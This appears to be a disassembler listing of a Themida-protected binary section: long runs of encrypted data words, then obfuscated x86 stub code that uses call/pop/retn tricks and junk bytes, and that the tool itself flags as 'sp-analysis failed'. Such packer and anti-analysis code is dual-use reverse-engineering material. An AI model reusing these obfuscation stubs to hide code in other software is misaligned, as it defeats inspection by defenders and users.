dd 0A4B67E5Dh, 20B9C4CDh, 26F2FDDh, 6D3C4D0Ah, 0A9BF6C35h
dd 88B80531h, 0F53C0240h, 67BF6C36h, 0C86F7B9Eh, 20B9C4CCh
dd 8A74F839h, 20AA2D62h, 9E18C419h, 953C445Ch, 0A0FD60ADh
dd 2195E8CAh, 660DDBBFh, 4FD4FFBh, 20BF2D60h, 85C5C432h
dd 0B07F465Fh, 0AFB6C407h, 20B9C442h, 97D17A45h, 249D8018h
dd 8124CD90h, 9FBF6C71h, 5F2486D0h, 2F2C71E6h, 0A1E8C224h
dd 9EB1F380h, 0A5349A01h, 2612ADE0h, 0C8EAC4A2h, 20B9C467h
dd 7B7A9F12h, 249D9890h, 249D800Dh, 20B9C45Bh, 6B7A9760h
dd 0B46511E9h, 18EBBBD1h, 290C4DFFh, 0DFBF6C00h, 71B9AEC9h
dd 20B9C764h, 0E3E0E446h, 4F54D7Ah, 4FD4595h, 20B9D8CCh
dd 0E3E88564h, 62897A33h, 51061B80h, 753C4DFEh, 4ABF6C60h
dd 23519623h, 0B9C491h, 0A9E30792h, 0A1BDE030h, 39BDE076h
dd 62B9C419h, 0BF0807DEh, 0BF6CC968h, 2FDC41AAh, 0B532C239h
dd 2611F6D1h, 9530149Bh, 2611F6BBh, 5450457Fh, 5D3C4D9Ah
dd 4ABF6C6Dh, 23519623h, 0B9C491h, 0A9E30792h, 0A1BDE030h
dd 3CBDE076h, 62B9C419h, 162B07DEh, 408662B9h, 0DCFF52CDh
dd 4A6148F7h, 235193C8h, 0B9C464h, 0A9E6076Dh, 0A1BDE065h
dd 3ABDE0C8h, 67B9C446h, 33AD0774h, 2149A4F0h, 46D4EC2h
dd 0AB4CA460h, 88B291BFh, 4008A51Fh, 0A4B60486h, 20B9C7D4h
dd 0C8EFC449h, 20B9C492h, 7E7A9AE8h, 249DB0EDh, 249D80B3h
dd 20B9C40Fh, 397A92CAh, 0C73831E1h, 7F96C276h, 0A57F9EC1h
dd 2611D11Dh, 71B9AE2Bh, 20B9C7DAh, 0E3E0E419h, 4F54DD5h
dd 4FD4542h, 20B9DD27h, 0E3E88591h, 709DCC2Fh, 0BD30C3A3h
dd 2611CA87h, 202DACE1h, 72E908E6h, 28509616h, 0A0B9C423h
dd 630D8EEFh, 2F65525Ch, 2D07A255h, 2FE19E22h, 2D50A428h
dd 37B9C48Ch, 69E8F445h, 2730C4EEh, 69CE7F72h, 7AD80C43h
dd 48D453Ch, 5353A862h, 25E04992h, 9546C224h, 2611CBD3h
dd 0C8EEC449h, 20B9C492h, 7F7A9BE8h, 249DB8EDh, 249D80B3h
dd 20B9C40Dh, 0DF7A93CBh
dd 5D24ED26h, 40BF6C22h, 20B9499Eh, 0CF38C4C8h, 52DC722Ch
dd 0A534A553h, 2612AD68h, 3A347107h, 0F046C2EEh, 0C8EEC449h
dd 20B9C492h, 7F7A9BE8h, 249DB8EDh, 249D80B3h, 20B9C404h
dd 617A93CBh, 7B629F8Ch, 22D225C9h, 9D3CC5FAh, 0A3BF6CDEh
dd 5C06E0A4h, 0A98DF92Ch, 88BE859Ch, 513CC58Ah, 0ABBF6C4Ch
dd 8892B9A6h, 0A2B69297h, 20B9C4CEh, 265459EDh, 0ABE7C29Ah
dd 889F9184h, 76B9AE8Ah, 20B9C7AEh, 0E3E7E423h, 4CD4DCFh
dd 4FD45CCh, 20B9D060h, 0E3EF8232h, 0EB06CB89h, 70B9AECFh
dd 20B9C7AEh, 0E3E1E423h, 4FD4DC9h, 4FD45CCh, 20B9D060h
dd 0E3E98432h, 0AB484FB5h, 47504597h, 0ABA68D02h, 71B9AE38h
dd 20B9C779h, 0E3E0E4C8h, 4F54D3Dh, 4FD4536h, 20B9D91Dh
dd 0E3E8858Ch, 498D237h, 0C60ECEB8h, 3B32F55Fh, 0CD7B877h
dd 4A61F74Eh, 23519332h, 0B9C419h, 0A9E607D3h, 0A1BDE03Ah
dd 3CBDE067h, 67B9C491h, 53D079Fh, 0D286EC48h, 0AA5DD208h
dd 693C4DD1h, 0A9BF6C98h, 88A499DBh, 0E238A225h, 0A57F6101h
dd 2611D11Dh, 73B9AE23h, 20B9C7DAh, 0E3E2E419h, 4E54DD7h
dd 4FD4542h, 20B9D227h, 0E3EA8791h, 463D7D25h, 0D0235E5h
dd 18D1F483h, 70102CBFh, 0F803A2DEh, 7088CBD4h, 749C6B9Ch
dd 78E39DD3h, 0B19DF049h, 4AA7F21Fh, 23519532h, 0B9C419h
dd 0A9E007D5h, 0A1BDE00Ah, 3CBDE067h, 61B9C491h, 0FA460799h
dd 0BF036B77h, 0AB647F83h, 889FCDACh, 212CED8Ah, 0DFBF6C6Eh
dd 88B65196h, 0C5344D97h, 2FBF6CECh, 20B9C9E9h, 20B12D32h
dd 65BCC419h, 0E1219613h, 0A534F112h, 2612AD52h, 0C8EFC4FBh
dd 20B9C4CBh, 7E7A9A44h, 249DB0BBh, 249D8098h, 20B9C497h
dd 1A7A9200h, 32FD0A40h, 722BF5A6h, 0A0841C9h, 46E3C2CCh
dd 0DF4AD28Bh, 75B9AEC9h, 20B9C764h, 0E3E4E446h, 4D54D7Eh
dd 4FD4595h, 20B9D1CCh, 0E3EC8164h, 0C7388FDCh, 2EEB7281h
dd 0CD84105h, 20D3C2EEh, 20BA2C74h, 7F99C491h, 5C309B0Bh
dd 6438C040h, 20A1C016h, 77FEC419h, 3B9B524Fh, 0A5B6162Ch
dd 20B9C426h, 0B67645F7h, 20D38470h, 20BA2C36h, 7A99C432h
dd 74309EDAh, 6438C0A8h, 20A4C062h, 72FBC423h, 932C3C52h
dd 0AE638DAh, 0AB232933h, 75B9AE32h, 20B9C7F1h, 0E3E4E48Ch
dd 4D54D1Bh, 4FD4527h, 20B9DE95h, 0E3EC81C8h, 1316A641h
dd 0ABCEF9ECh, 0E53C4D19h, 4ABF6C8Ah, 23519446h, 0B9C423h
dd 0A9E107C9h, 0A1BDE08Ch, 34BDE020h, 60B9C432h, 9580749h
dd 88B31901h, 206D2D40h, 0C9EEC423h, 20B9C498h, 2A3D717Ch
dd 0C8A974BEh, 0A5349DDFh, 26126658h, 0DB7745EAh, 0FB0F5495h
dd 46EB9473h, 11B60E1Ah, 0D232A29Fh, 0B0E19E3Dh, 3E5451CDh
dd 9532C2B1h, 2611F571h, 82FE59CBh, 7041C288h, 20B9D479h
dd 0E145F8C8h, 201AE9B4h, 0A90519BDh, 0CC596E2h, 0F632A2BDh
dd 4A54D1Fh, 20B5462Ch, 0A5B6C491h, 20B9C4CEh, 20B9426Bh
dd 2FE9C432h, 20B9C693h, 0A9764F8Ch, 0DF40E042h, 88B0CDB6h
dd 77B9AE97h, 20B9C720h, 0E3E6E464h, 4C54D6Dh, 4FD451Dh
dd 20B9D088h, 0E3EE8346h, 20AB2D99h, 0E74DC491h, 8CDAE433h
dd 0DD4C637Dh, 6FDB41B5h, 0E0D5F18Fh, 27F84105h, 2D50C2EEh
dd 47B9C423h, 0E7472DF3h, 0A0183C5Dh, 85039908h, 252879BBh
dd 0A57FC2B1h, 2611D159h, 0A10C4F15h, 0C8BF6C0Fh, 20B9C495h
dd 8A3E40B7h, 20B9D08Ch, 7CC80532h, 892CABFh, 3C512D38h
dd 0D307221h, 0E80B4921h, 0ABE99A62h, 4FD4F32h, 0D0647D60h
dd 2032AEEFh, 2CDF7E7Fh, 249D8005h, 48A17B20h, 76B9AE7Bh
dd 20B9C779h, 0E3E7E4C8h, 4CD4D3Ah, 4FD4536h, 20B9D11Dh
dd 0E3EF828Ch, 5D08C211h, 2F2C71DCh, 20D3C239h, 20BA2C9Fh
dd 7F99C464h, 5C309BF1h, 6438C03Dh, 20A1C0A8h, 77FEC446h
dd 0F7D99AE0h, 0AD30A720h, 2611EBC9h, 0A5343EEFh, 2612AD43h
dd 0C8E8C473h, 20B9C48Fh, 797A9D66h, 249D88AAh, 249D8010h
dd 20B9C4D5h, 687A9525h, 708938CFh, 2C8010EAh, 70524EE5h
dd 20B9C8AFh, 87CE3D23h, 2E4E022h, 3DFE4018h, 0F0469A5Eh
dd 0C8EFC458h, 20B9C41Ah, 7E7A9AACh, 249DB0CFh, 249D80A2h
dd 20B9C484h, 657A928Eh, 3D3C4D61h, 29BF6C2Ch, 888939A4h
dd 0F53C028Ah, 67BF6C53h, 0C8EEC449h, 20B9C492h, 7F7A9BE8h
dd 249DB8EDh, 249D80B3h, 20B9C404h, 9D7A93CBh, 79C6A2E2h
dd 0CCA800BAh, 0C81E763Fh, 20B9C4CCh, 81CBD1F4h, 20B9C2DAh
dd 0E14F8219h, 7085D186h, 1E03A214h, 7A88CB45h, 91E99DC9h
dd 4FD4F01h, 0C9EB9460h, 20B9C420h, 0BF48A4F1h, 0CD9961E2h
dd 0BF9F793Bh, 0DA57F82Eh, 11B67E31h, 20329C92h, 0D5837A02h
dd 249D80BBh, 78734F7Fh, 68147DEAh, 2F2C71B9h, 0ADB8C28Bh
dd 2611D13Ch, 49C84145h, 9588C2CFh, 2611DDA3h, 0A53014E6h
dd 2611E515h, 0C8EFC42Ch, 20B9C420h, 7E7A9AB1h, 249DB041h
dd 249D80E5h, 20B9C42Bh, 0E47A925Fh, 3F66FD15h, 46494F39h
dd 6F9405A2h, 356C4157h, 4AEAC260h, 23519164h, 0B9C432h
dd 0A9E40744h, 0A1BDE0E0h, 39BDE002h, 65B9C423h, 0C07407C4h
dd 14DE3EF7h, 0EA0D550Ch, 393ECB6Dh, 0C8B9C419h, 20B9C485h
dd 4B37AC92h, 0ED753672h, 20BC2D74h, 980CC4C8h, 7F5C4F02h
dd 0DF9DC0B3h, 0C980AAB3h, 20B9C49Dh, 7A6390A6h, 21FCFB12h
dd 63220F94h, 3484B9A5h, 0B50C3B8Ah, 4ABF6C3Dh, 23519519h
dd 0B9C48Ch, 0A9E0071Fh, 0A1BDE06Fh, 37BDE0D5h, 61B9C4C8h
dd 11B60735h, 4D06A268h, 11ED6B8Ch, 88917D09h, 513C4940h
dd 21BF6F4Ah, 88A2A914h, 4A693BCEh, 23519564h, 0B9C432h
dd 0A9E00740h, 0A1BDE0C0h, 3ABDE002h, 61B9C423h, 0C0307C0h
dd 5D8D191Fh, 0D30ECB1Ah, 6441BBh, 0BD30C2B1h, 2611D179h
dd 356C4180h, 4AEEC28Bh, 23519191h, 0B9C4C8h, 0A9E40739h
dd 0A1BDE05Eh, 3BBDE05Dh, 65B9C48Ch, 0E30E0713h, 903CC9FDh
dd 0E0D1AE84h, 0A1905A37h, 72FFE060h, 3350A257h, 0FEB9C419h
dd 0EDBF8B5Eh, 67A991C1h, 1A5ABC3Ah, 8DE07FACh, 9546864Ch
dd 2611CBF1h, 0C8E8C458h, 20B9C41Ah, 797A9DACh, 249D88CFh
dd 249D80A2h, 20B9C48Bh, 0C67A9589h, 818037C7h, 0A5341B45h
dd 2612AD68h, 77471BFh, 0F046C2EEh, 0C8E9C449h, 20B9C492h
dd 787A9CE8h, 249D80EDh, 249D80B3h, 20B9C402h, 4F7A94CCh
dd 0C451C598h, 0A9E92B59h, 8893B914h, 97B6A4CEh, 0CD24E7ABh
dd 41BF6C39h, 356C41DFh, 11FAC224h, 888989DBh, 0BD3AAC25h
dd 243895B2h, 4C6B61ECh, 73B9AE0Fh, 20B9C7DAh, 0E3E2E419h
dd 4E54DD7h, 4FD4542h, 20B9D327h, 0E3EA8791h, 0B87165F8h
dd 0CF85955h, 0ABDFC29Ah, 0B50C3BC9h, 4ABF6C83h, 23519446h
dd 0B9C423h, 0A9E107C9h, 0A1BDE08Ch, 38BDE020h, 60B9C432h
dd 0A13C0749h, 0ABAD771Bh, 88B0F9CBh, 513C4925h, 4ABF6FF8h
dd 235197C8h, 0B9C464h, 0A9E20769h, 0A1BDE045h, 34BDE0C8h
dd 63B9C446h, 0DF900770h, 0EB32A241h, 22384141h, 20D3C2CCh
dd 20BA2C63h, 7999C419h, 6C309D4Fh, 6438C062h, 20ADC007h
dd 71F8C491h, 7EE9DB0Bh, 0AD777B6Bh, 8B1BF3B7h, 0D92C4F1Fh
dd 70BF6C80h, 70EB9616h, 7A88CB71h, 11B69AC9h, 2FEB9499h
dd 7AE19E55h, 24309C68h, 72B9AE3Dh, 20B9C764h, 0E3E3E446h
dd 4ED4D79h, 4FD4595h, 20B9DCCCh, 0E3EB8664h, 0C8568684h
dd 750C4F8Bh, 0DFBF6C9Bh
dd 88A729D3h, 71B9AE25h, 20B9C779h, 0E3E0E4C8h, 4F54D3Dh
dd 4FD4536h, 20B9DF1Dh, 0E3E8858Ch, 45E74D7Fh, 0E0A70754h
dd 2D54491Ah, 0F832C260h, 0A53430EEh, 26126619h, 3E4C7992h
dd 0A9E9C224h, 20D3E042h, 20BA2C73h, 7899C491h, 64309C0Bh
dd 6438C040h, 20A1C016h, 70F9C419h, 0CCB5E24Fh, 9FB6885Dh
dd 345057D0h, 0E7B9C491h, 1A730284h, 97B97FDAh, 65E53AEEh
dd 40521519h, 70C3C316h, 20B9CCAFh, 0E7246F23h, 0AD4D97DBh
dd 9EDF57ACh, 0B54645C2h, 2611CD3Bh, 0A9494F7Fh, 88BF4909h
dd 72B9AE40h, 20B9C7CBh, 0E3E3E491h, 4ED4D92h, 4FD4560h
dd 20B9D836h, 0E3EB8619h, 0BA98B0D4h, 1FAF5348h, 2636CB33h
dd 0A9B9C491h, 88B3A57Dh, 4D3C0362h, 2FBF6C25h, 4AB9C419h
dd 2351918Ch, 0B9C446h, 0A9E4077Eh, 0A1BDE0FDh, 35BDE08Ch
dd 65B9C464h, 74B70767h, 28A45190h, 0D733C224h, 263451B9h
dd 20D3C28Bh, 20BA2CC7h, 7E99C4C8h, 54309AA7h, 6438C016h
dd 20A2C03Dh, 76FFC48Ch, 9F9C2D85h, 0D7B154C4h, 0E938A22Ch
dd 0A530D25Eh, 2611DFB5h, 0C8EBC458h, 20B9C41Ah, 7A7A9EACh
dd 249D90CFh, 249D80A2h, 20B9C48Bh, 197A968Ah, 3B165EDCh
dd 0A532EED3h, 2611DDB8h, 96625901h, 6330C2EDh, 65044922h
dd 0ADBF6C99h, 8B0F717Dh, 208A7D62h, 844AC432h, 2001F7F2h
dd 2BB9C48Ch, 0E2BAB086h, 6432C43Bh, 0C8EAC8B5h, 20B9C4C8h
dd 377A453Fh, 0A9B9C432h, 0A9A9E045h, 7BADE0C8h, 8219F3FEh
dd 0AB593B23h, 0DFBDE0D5h, 2D044D28h, 0ABBF6C63h, 73B9AEC8h
dd 20B9C7F1h, 0E3E2E48Ch, 4E54D1Dh, 4FD4527h, 20B9D895h
dd 0E3EA87C8h, 684B5185h, 0C849D552h, 19344FD4h, 41BF6CA2h
dd 0C8EAC42Ch, 20B9C420h, 7B7A9FB1h, 249D9841h, 249D80E5h
dd 20B9C42Ah, 727A975Ah, 0E6AE119h, 2DD8796Dh, 9D34C28Bh
dd 261266BAh, 97E44945h, 1501C2CFh, 1321E299h, 888AAD9Ch
dd 0E176EF8Ah, 0D920D3A4h, 4620BA2Ch, 0E07D99C4h, 0B54C3099h
dd 0EC6438C0h, 6420ADC0h, 0E983FCC4h, 8BA4F305h, 55006AD9h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0CB0834C2h, 4291805Ch, 40E90170h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0A2DEC350h, 2F8365E2h, 606E90BDh, 6161EFB1h, 10E9h
dd 2F5B3E00h, 1EBDE525h, 20ADBD5Ah, 0D991D965h, 8BF5C365h
dd 8E0F60C0h, 3, 0E8D8B70Fh, 8, 88A82DFFh, 92654B8Eh, 83615FF9h
dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535019h
dd 4B9B8C0h, 85890000h, 6A80FD5h, 0A2139D8Dh, 0D3FF06AAh
dd 0BD83585Bh, 6A82DE9h, 50177400h, 4B9B853h, 85890000h
dd 6A80FD5h, 9EB49D8Dh, 0D3FF06AAh, 8B0F585Bh, 1, 56006AF5h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 70F80EB5h, 3F4D3947h, 6AC08B41h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 59E6C355h
dd 40283422h, 0BD8BC18Bh, 6A81769h, 4EBh, 8F0F0000h, 0Ch
dd 68C0Fh, 9D090000h, 6A81B19h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 2AC35343h, 5548FD3Ch, 3385858Dh
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 66C8F0C3h, 59FEEE81h, 8B665090h, 6A90FBh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0BD039AC3h, 6A8062Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 6E333FC3h, 8FE03DF1h
dd 6A006ABDh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0B67DC357h, 0BFDC4607h, 5222DB54h
dd 0EFD68166h, 0BD095E5Eh, 6A801A5h, 11E9h, 401B7000h
dd 0A2AA8BFh, 55F37F80h, 47740614h, 858D740Dh, 6ABBAD8h
dd 5C083F9h, 7E990h, 989D0000h, 0A0228DF2h, 536050D2h
dd 10E9h, 0DEDC1700h, 0B995610h, 9C129301h, 9DF08CA0h
dd 50505F8Eh, 5A310F52h, 90615F58h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 38C35747h, 337C87AEh, 60B97C95h
dd 0AADBD89h, 8D8906A8h, 6A8144Dh, 6A006A61h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0AD0AC350h, 90879237h, 3AFF9A68h, 0CE9BD8Bh, 6A06A8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 75C35747h
dd 0CCD7D5h, 8AAC5E5Eh, 254195FFh, 958906A8h, 6A80651h
dd 8C7F9D8Dh, 958906ABh, 6A80BF9h, 6AD3FFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0B9D9BDC3h
dd 0FB057148h, 0EE93FEEh, 64000000h, 0D219113Bh, 7795630h
dd 0B5189893h, 0F8B70F80h, 33F185FFh, 6A06A8h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 69DDEAC3h, 96D52A95h, 0B7BF66B3h, 651E9EBh, 0E80000h
dd 5D000000h, 0BAE2ED81h, 6A06ABh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 5387EBC3h, 0B3ABBF66h
dd 176DBD81h, 7D006A8h, 860F0000h, 112h, 799B58Bh, 9D8B06A8h
dd 6A8251Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 1CC35040h, 5E94Ch, 0FBB80000h, 817D24D3h, 100E3h
dd 29B52300h, 6606A822h, 0D277CE81h, 850FDB0Bh, 89h, 0B8A5BD83h
dd 0F0006ABh, 4A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0CED3C5DFh, 16EA5EF4h
dd 0F60DB94h, 685h, 0D858B00h, 8906A81Fh, 0A814D18Dh, 8D296106h
dd 6A82FADh, 67E9h, 3D9D2900h, 0C706A825h, 0ABB8A585h
dd 106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0BD8BAA4Bh, 6A814C5h, 2FE9h, 0A585C700h
dd 6ABB8h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 0C369C350h, 165B5768h, 7028C75Bh
dd 251D9D8Dh, 238106A8h, 0FFFFFEFFh, 8C66F98Bh, 51006ADBh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 0B926EFA0h, 4C3F6F9h, 0AC840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7F9880C3h
dd 47BE669Bh, 8D95FF52h, 6A06A806h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2399C353h
dd 737B769Eh, 0CDB58B43h, 0BF06A806h, 68B4A107h, 0F88B6650h
dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0E24CC357h, 1BA18531h, 0E85706A8h
dd 6, 53312637h, 12E8DBE5h, 10000000h, 0A4B1DE5Fh, 60EF8ADAh
dd 5F802A7Eh, 0ECD508CEh, 5F5E5F32h, 17DBD8Bh, 56E906A8h
dd 0F8000003h, 0BD8900B0h, 6A80DD9h, 71E470E6h, 208B0Fh
dd 0BE80000h, 0F8000000h, 33821518h, 1B747AC3h, 0AE99A74h
dd 0CB000000h, 0ECF67B0Bh, 38971045h
dd 0B60F5F66h, 26D5BED8h, 6BA3818h, 23000000h, 0A817EDBDh
dd 6AC38B06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 4C71C351h, 0D08FDDC8h, 6604E8C1h
dd 669873BEh, 800FE2F7h, 0Eh, 5E8h, 90D06E00h, 8B66A2BBh
dd 0D82B5EFEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0A8C35141h, 0F3F08240h, 571DD274h, 0B9666036h
dd 0AE92C91h, 0EC000000h, 89394BC2h, 0C377655Eh, 8B66611Eh
dd 0BF6650F0h, 1C891165h, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 86572D7Ch
dd 2F61BD89h, 870F06A8h, 6, 1441B58Bh, 0B5FF06A8h, 6A8176Dh
dd 95FFF78Bh, 6A81B31h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0C5C35646h, 0A9779B0Fh, 0D9B589C0h, 0B006A80Dh
dd 19958900h, 0E606A807h, 0A1BD8B70h, 2B06A833h, 0A83241B5h
dd 6071E406h, 0FF78B66h, 2961DFB7h, 0A821DDBDh, 0F613C06h
dd 1F483h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 12E2B1F4h, 8C395415h, 300DB58Bh
dd 0B60F06A8h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 1A466DE2h, 0A6BCC43Eh
dd 0ECD7816Eh, 0BA1EAAE3h, 6, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 95C35242h, 0DFE30BF3h, 0D7A1299h
dd 1A098D89h, 0C38B06A8h, 27758509h, 0E8C106A8h, 52006A04h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0AC32771Eh, 0EE9DEh, 355E0000h, 63C5AF24h, 71D07543h
dd 52EA32BDh, 0E9E2F766h, 0Fh, 862EF6FDh, 9E05D2ACh, 74723EA0h
dd 2B341793h, 58FA8BD8h, 3375BD03h, 0D82B06A8h, 107880Fh
dd 0FE90000h, 48000000h, 0D8B71C58h, 0CB026C4h, 713F3D56h
dd 7B92CF2h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 2CDAC351h, 0B0E651F7h
dd 6830F4Ch, 1000000h, 0A826CD8Dh, 0D1BD8B06h, 8306A80Dh
dd 0B70F00C1h, 3D8589F8h, 3B06A81Dh, 0A6860FD9h, 8B000000h
dd 0D98C66FAh, 0F6F98B66h, 840F04C1h, 90h, 2E7D8D89h, 95FF06A8h
dd 6A8068Dh, 14E68166h, 6A5BE6h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 748FA1C3h, 2BC76A5Eh
dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0A362D159h, 0D75BC68Fh, 8343DFCh, 860F0000h
dd 2Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah
dd 69C35545h, 4E9626C2h, 35BE5D32h, 0E973E1E0h, 5, 0B70FC08Bh
dd 8BC38BFBh, 659D29D8h, 0C706A801h, 0A8302185h, 0CFAFD506h
dd 57006A18h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 643E3A4Ah, 2482AC96h, 89BD8B42h, 8906A833h
dd 0A8009D85h, 81C08B06h, 0A8176DBDh, 7D006h, 29850F00h
dd 0BE000000h, 56B893D2h, 176D85FFh, 6A06A8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 10F765C3h
dd 176DB5FFh, 0BD8906A8h, 6A815E1h, 1B3195FFh, 6A06A8h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 830ECEC3h, 0C6CEF54Eh, 68BE66D4h, 0BB47BFFDh, 0B8907F0Fh
dd 12345678h, 0C11E9D8Dh, 0AFE906ABh, 8BFFFFF9h, 57006AC1h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 21F7FCEAh, 511C3C3Bh, 415CC781h, 0EB5F635Bh, 4, 10E96000h
dd 1000000h, 97C06173h, 76CA2AE8h, 0B69C08CFh, 0E9D4D420h
dd 8, 86183391h, 0E75F6FE6h, 0EBF8BE61h, 0EE81742Ch, 0EAE90EAh
dd 3385858Dh, 0BE6606A8h, 609083D4h, 6D9BBA66h, 0F905061h
dd 686h, 20D68100h, 6A0BF040h, 0CE900h, 3DB70000h, 8D640B96h
dd 6ACE9154h, 6AD297h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 9DC35141h, 0A5D573B5h, 8DFFFF45h, 0ABC2ED85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 64323F68h, 9D01524Ah, 6A80E39h, 9005C083h
dd 5E850h, 4BD10000h, 5F2733A6h, 50006A90h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0FAA7C8E6h
dd 7B32943Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 666078C3h, 0C15EE81h, 1C098509h
dd 606106A8h, 0E719D23h, 8D8906A8h, 6A81F81h, 0FF006A61h
dd 0A8254195h, 880F06h, 8D000000h, 0AB8C7F9Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 8997E74Ch, 6AD3FF3Ch, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 9AAFC355h, 0B58B528Ch
dd 6A809B5h, 2B61B50Bh, 85FF06A8h, 6A833F1h, 0ED46E781h
dd 0BDE91C48h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6ABC2F7h
cmp dword ptr [ebp+6A8176Dh], 7D0h
jbe loc_585E03
mov [ebp+6A80DD9h], eax
mov ebx, [ebp+6A81E4Dh]
jmp loc_585D3E
; ---------------------------------------------------------------------------
dd 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh
db 6, 0FEh
; ---------------------------------------------------------------------------
loc_585D3E: ; CODE XREF: Themida_:00585D27j
and ebx, 100h
mov [ebp+6A8210Dh], ecx
or ebx, ebx
jnz loc_585DA8
cmp dword ptr [ebp+6ABC15Ch], 0
jz loc_585D70
mov [ebp+6A82769h], eax
jmp loc_585DB8
; ---------------------------------------------------------------------------
xor [ebp+6A82115h], esi
loc_585D70: ; CODE XREF: Themida_:00585D59j
mov dword ptr [ebp+6ABC15Ch], 1
call sub_585D93
in al, dx
fcomp qword ptr [ebp-69D67BBEh]
pop edi
add al, 3Ah
sub ds:1BE6AA9Fh, cl
scasb
xor byte ptr [ebx], 0D9h
; =============== S U B R O U T I N E =======================================
sub_585D93 proc near ; CODE XREF: Themida_:00585D7Ap
or di, 90AAh
pop esi
mov [ebp+6A810FDh], esi
jmp loc_585DB8
; ---------------------------------------------------------------------------
mov di, 0B838h
loc_585DA8: ; CODE XREF: Themida_:00585D4Cj
mov dword ptr [ebp+6ABC15Ch], 0
mov esi, [ebp+6A8333Dh]
loc_585DB8: ; CODE XREF: Themida_:00585D65j
; sub_585D93+Cj
lea ebx, [ebp+6A81E4Dh]
and dword ptr [ebx], 0FFFFFEFFh
push 0
push edi
call sub_585DCF
and [edi-3Dh], bl
sub_585D93 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_585DCF proc near ; CODE XREF: sub_585D93+34p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_585DCF endp
; ---------------------------------------------------------------------------
db 43h
dd 2391E3A5h, 89005316h, 0A81E2DBDh, 0CE806h, 0BEB90000h
dd 3AEDF738h, 662D25E7h, 0BE662756h
db 2Fh, 82h, 5Fh
; ---------------------------------------------------------------------------
loc_585E03: ; CODE XREF: Themida_:00585D15j
mov bx, ds
push 0
loc_585E08: ; CODE XREF: Themida_:00585E7Cj
push edx
call sub_585E11
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585E11 proc near ; CODE XREF: Themida_:00585E09p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_585E11 endp
; ---------------------------------------------------------------------------
inc edx
js short loc_585E66
xchg eax, ecx
sub al, 0F4h
add si, 477Bh
